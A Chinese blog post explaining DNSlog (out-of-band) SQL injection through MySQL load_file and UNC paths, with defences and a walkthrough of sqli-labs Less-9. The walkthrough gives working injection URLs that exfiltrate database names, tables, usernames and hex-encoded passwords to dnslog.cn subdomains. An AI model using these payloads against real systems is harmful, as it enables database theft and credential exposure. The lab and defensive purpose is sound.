- 前言
- 什么是UNC
- 什么是DNSlog注入
- DNSlog注入的条件
- 防止DNSlog注入的几个措施
- sqli-labs试验
前言
前几天面试的时候,面试官问我知不知道OOB(带外数据)。
当时我蒙了,确实没听说过这个东西,然后面试官告诉我原来dnslog注入就是带外通信的一种。
什么是UNC
UNC(Universal Naming Convention)路径是用于在计算机网络中标识资源位置的标准格式。
它通常用于访问共享文件夹或打印机等网络资源。UNC路径格式的一般结构如下:
\\server\share\path\filename
\\
: 表示UNC路径的开头,两个反斜杠用来指示这是一个网络路径。
什么是DNSlog注入
DNSlog注入是一种利用DNS服务器记录域名解析请求的特性,来获取SQL注入结果的技术。它的原理是通过构造一个包含数据库信息的子域名,然后使用MySQL的load_file函数或其他方法,让目标服务器向DNS服务器发起解析请求,从而在DNS服务器上留下注入结果的痕迹。
DNSlog注入的应用场景是当网站对于SQL注入的攻击没有回显或者过滤了敏感的回显内容时,可以使用DNSlog注入来绕过这些限制,获取数据库的信息。
DNSlog注入的步骤如下:
- 首先,需要一个可以记录DNS请求的平台,例如dnslog.cn和ceye.io。在这个平台上,可以获取一个专属的子域名,例如xxx.dnslog.cn,并且可以查看该子域名下所有的DNS请求记录。
- 然后,需要构造一个包含数据库信息的子域名,例如(select database()).xxx.dnslog.cn。这个子域名可以使用MySQL的函数或者操作符来拼接,例如concat、replace、substr等。
- 接着,需要使用MySQL的load_file函数或其他方法,让目标服务器向DNS服务器发起解析请求。例如,使用以下语句:
- select load_file(concat(‘\\\\’,(select database()),‘.xxx.dnslog.cn/abc’));
- 这个语句会让目标服务器尝试从(select database()).xxx.dnslog.cn/abc这个地址加载文件,从而触发DNS解析请求。
- 最后,需要在DNSlog平台上查看DNS请求记录,就可以获取数据库信息了。例如,在上面的例子中,如果数据库名为security,那么就会看到security.xxx.dnslog.cn这样的记录。
DNSlog注入需要注意的点:
-
由于每一级域名的长度只能为63个字符,所以在MySQL中获取到超过63个字节的字符时,会被当作一个错误的域名,不会产生去解析的动作。所以需要控制查询结果的字符长度在63个以内。
-
由于URL中传递的字符非常有限,很多特殊字符如{,},!,等是无法传递的。这就会导致load_file函数失效。所以需要对查询结果进行hex编码,然后再使用16进制解码网站来还原结果。
DNSlog注入的条件
-
目标服务器可以发起DNS请求,即可以访问外部网络。
-
目标服务器可以执行一些函数或命令,如load_file、exec、curl等,用于向DNS服务器发送域名查询。
-
攻击者拥有一个自己的域名,并能够配置NS记录和获取DNS日志,用于接收目标服务器发送的域名查询信息。
-
目标服务器返回的数据不超过域名长度限制(63个字符),并且不包含特殊符号,否则会导致DNS查询失败。
防止DNSlog注入的几个措施
- 限制目标服务器对外部网络的访问权限,禁止或过滤掉不必要的DNS请求。
- 对目标服务器执行的函数或命令进行严格的输入验证和过滤,防止攻击者注入恶意的域名或URL。
- my.ini中secure_file_priv值设置为null
sqli-labs试验
试验环境为sqli-labs 第九关
这里发现无回显,输入sleep函数后成功sleep了五秒
由于没有回显数据,所以直接上dnslog,查一下库名试一下:
http://192.168.171.30/sqli/Less-9/?id=-1' and (select load_file(concat('\\\\',(select database()),'.20vice.dnslog.cn/test')))--+
成功回显了数据:
接下来查一下库里的表名,这里用limit限制只回显一个数据,多次查询:
http://192.168.171.30/sqli/Less-9/?id=-1' and (select load_file(concat('\\\\',(select TABLE_NAME from information_schema.tables where table_schema='security' LIMIT 3,1),'.20vice.dnslog.cn/test')))--+
看到了四个表
emails | referers | uagents | users |
---|
用同样的方法查询字段名:
http://192.168.171.30/sqli/Less-9/?id=-1' and (select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 0,1),'.20vice.dnslog.cn/test')))--+
尝试读取一下用户名数据:
http://192.168.171.30/sqli/Less-9/?id=-1' and (select load_file(concat('\\\\',(select username from security.users limit 2,1),'.nwpxcq.dnslog.cn/test')))--+
再读取一下密码,由于密码里可能有特殊字符,这里进行十六进制编码了:
http://192.168.171.30/sqli/Less-9/?id=-1' and (select load_file(concat('\\\\',(select hex(password) from security.users where username='Dummy'),'.nwpxcq.dnslog.cn/test')))--+
十六进制解码,成功获取数据: